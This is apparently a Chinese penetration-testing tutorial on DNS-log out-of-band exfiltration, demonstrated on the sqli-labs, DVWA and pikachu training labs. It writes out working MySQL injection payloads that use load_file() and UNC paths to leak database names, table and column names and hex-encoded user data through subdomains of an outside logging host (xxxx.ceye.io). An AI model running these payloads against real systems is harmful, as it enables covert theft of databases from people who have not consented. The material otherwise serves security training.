渗透测试中dns log的使用
一、预备知识
dns(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说的简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科)
dns服务器的端口是53。
二、原理
我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。
dns在解析的时候会留下记录。
简单来说:
当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息
三、准备
- dns服务器(vps搭建)
- dns指向我们自己搭建的dns服务器的域名
或者也可以使用网上的平台,比如http://ceye.io
四、用处
- sql注入(主要)
- 命令注入
- xss盲打
五、实验:sql注入
dns log在sql注入中的使用主要因为传统sql注入需要向服务器发送大量数据包,容易被检测、延时注入花费时间长等原因
在http://ceye.io这个平台注册后它会给你一个三级域名,可以先访问任意四级域名试试
在网站上查询到了访问的dns记录
windows的共享功能同样也会访问dns服务器
关于mysql load_file()函数:
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
LOAD_FILE(file_name)
其中file_name是文件的完整路径。
这个函数也可以用来发送dns解析请求,这就是关键
load_file()使用限制:
1.文件必须位于服务器主机上。
2.你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的。
3.文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节。
你可以这样检查: SHOW VARIABLES LIKE 'max_allowed_packet';
如果secure_file_priv系统变量被设置为非空目录名,则要加载的文件必须位于该目录中。
你可以这样检查: SHOW VARIABLES LIKE 'secure_file_priv';
可以在mysql配置文件my.ini中更改secure_file_priv的值,如果没有这个参数可以手动添加
使用load_file()读取文件: select load_file("d:\\1.txt");
使用load_file()发送dns请求: select load_file("\\\\ccc.xxxx.ceye.io\\aaa");
'\'在sql语句中要转义,aaa可以改成任意字母。
使用load_file()发送dns请求查询数据库: select load_file(concat("\\\\",(select database()),".xxxx.ceye.io\\aaa"));
sql语句在双引号内不执行,所以要用concat()函数拼接。
查询数据表:
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'));
查询字段:
select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));
查询数据:
select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));
需要注意的是dns服务器无法接收符号,当查询的数据中存在符号时需要编码,这里用hex()编码(ord()一次只能编码一个字符)。
select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));
再使用sqli-labs第五关做实验
payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 1,1),'.xxxx.ceye.io\\aaa'))),1,1)--+
?id=1' and if((select load_file(concat('\\\\',(select hex(email_id) from emails limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+
由于查询的数据存在@符号,使用了hex()函数
解码得Dumb@dhakkan.com
六、其他实验
1.命令注入
适用于无回显的命令注入点
使用dvwa靶场的命令注入模块实验
假设该注入点无回显
查询到了我们输入的变量
windows常用变量:
- //变量 类型 描述
- //%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
- //%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
- //%CD% 本地 返回当前目录字符串。
- //%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
- //%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
- //%COMPUTERNAME% 系统 返回计算机的名称。
- //%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
- //%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
- //%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
- //%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
- //%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
- //%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
- //%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
- //%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
- //%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
- //%PATH% 系统 指定可执行文件的搜索路径。
- //%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
- //%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
- //%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
- //%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
- //%PROCESSOR_REVISION% 系统 返回处理器的版本号。
- //%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
- //%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
- //%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
- //%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
- //%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
- //%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
- //%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
- //%USERNAME% 本地 返回当前登录的用户的名称。
- //%USERPROFILE% 本地 返回当前用户的配置文件的位置。
- //%WINDIR% 系统 返回操作系统目录的位置。
2.xss盲打
使用pikachu的xss盲打模块
收到请求说明触发了插入的js代码
七、sqlmap使用dns
sqlmap可以使用--dns-domain参数实现自动化dns注入
渗透测试中dns log的使用相关推荐
- 渗透测试中信息收集的那些事
渗透测试中信息收集的那些事 转载自:TideSec(知名安全团队)--VllTomFord(大佬)------https://www.cnblogs.com/OpenCyberSec/p/107941 ...
- 渗透测试中常用端口及利用
渗透测试中常用端口及利用 端口 服务 入侵方式 21 ftp/tftp/vsftpd文件传输协议 爆破/嗅探/溢出/后门 22 ssh远程连接 爆破/openssh漏洞 23 Telnet远程连接 爆 ...
- 浅析DNSlog在渗透测试中的实战技巧
文章目录 前言 SSRF 盲打 XSS的盲打 XXE的盲打 SQL的盲注 RCE的盲打 总结 前言 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把 ...
- 渗透测试中的端口利用
渗透测试中的端口利用 我们在进行渗透测试中,一般情况下会对端口进行扫描,看看服务器中开启了哪些端口,对应的端口一般存在对应的服务,而这些服务可能存在相应的漏洞,下面就是简单结束一下端口对应服务,服务可 ...
- 渗透测试中的LLMNR/NBT-NS欺骗攻击
简介 LLMNR&NBT-NS 欺骗攻击是一种经典的内部网络攻击,然而由于一方面了解它的人很少,另一方面在Windows中它们是默认启用的,所以该攻击到现在仍然是有效的.在本文中,我们首先为 ...
- 渗透测试中的msiexec
本文讲的是渗透测试中的msiexec, 0x00 前言 在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念.关于安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,所以这 ...
- 如何在渗透测试中尽可能隐藏自己-proxychains4使用配置教程
在渗透测试中,往往需要对自身电脑ip进行网络上的隐藏,如何才能快速简单的在网络扫描中简单实现匿名扫描呢? Proxychains帮助我们完成这一操作 那么 ,proxychains是什么? GNU协议 ...
- 详述MySQL服务在渗透测试中的利用
本文作者:i春秋签约作家--Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...
- Kali Linux渗透测试-Ettercap DNS欺骗攻击
Kali Linux渗透测试-Ettercap DNS欺骗攻击 DNS欺骗攻击基于中间人攻击.攻击者更改受害者从DNS服务器查询的域名解析结果,给受害者发送恶意网页或者钓鱼网页-浏览器依然显示正常的u ...
最新文章
- javabirdge php_PHP-Java-Bridge使用笔记,2014年9月最新版
- hdu 3729(二分图最大匹配+最大字典序)
- STM32单片机工作日记
- python3的float数精度_Python3 - 执行精确的浮点数运算
- LiveVideoStack Meet成都 生活与技术的“矛盾体”(内附资料下载)
- 基于VS2019的Eigen库安装详解
- OpenTSDB 开发指南之 Api操作数据
- DSP定点与浮点计算
- 【面试】iOS 开发面试题(二)
- php四则运算器,php实现简单四则运算器
- rake matlab,基于MATLAB的Rake接收机仿真及性能分析
- uc/os-II的内存改进与实现TLSF算法的详解,移植实现(四)
- opencv学习 给视频添加文字
- idea文件过大解决方法
- USB虚拟串口(CDC)极限速度测试
- PHP万能小偷程序源码
- 怎样轻松旋转PDF文件
- MySQL保存特殊字符及表情符
- java中的variable是什么,Java POJO中的field,variable,attribute和property有什么区别?
- 华为云服务器使用之搭建极简服务器
热门文章
- android 录像实时传送,Android中实时视频传输(摄像头实时视频传输)解决方案
- 03.full_text interval查询
- java思考笔记——遍历Map-key的几种方法
- 高效万进制——蓝桥杯|HDOJ 1002 大数加法——30行代码AC
- mysql 1100_mysql数据库选择,有1100个用户,每个用户每月生成一张表,使用中该表内每秒上传一条数据,数据量很大...
- c语言编译不了什么情况,c语言编译没错但是无法运行
- 史上最全的Linux常用——目录和文件管理命令——收藏这一篇就够了!(超全,超详细)
- java如何输出指定两个日期之间的所有日期
- IT人分类,你属于哪个级别?
- 私家车合乘系统 matlab,适用于预约拼车的合乘人员沟通方法及其系统的制作方法...